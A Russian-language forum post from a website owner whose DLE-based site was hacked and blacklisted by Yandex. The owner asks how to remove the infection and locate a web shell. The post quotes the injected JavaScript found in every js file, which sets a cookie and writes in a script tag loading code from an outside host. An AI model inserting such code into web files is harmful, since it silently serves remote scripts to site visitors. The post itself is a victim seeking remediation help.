Заражен сайт

Всем доброго времени суток!

Вчера узнал что на сайте вредоносный код и сайт попал в блеклист Яндекса. Начал искать - во всех js файлах добавлен код

function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));

if(!g()&&window.navigator.cookieEnabled){document.cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('<script src="http://linkfooter.org/linkfooter.js"></script>');}

Использую триал версию дле 9.3 и 9.5 версии. Скорее всего взломали, поскольку читал новость http://dle-news.ru/bags/v96/1525-nedostatochnaya-kriptograficheskaya-ustoychivost.html

Как можна очистить данную грязь? и как найти шелл? может кто был в подобной ситуации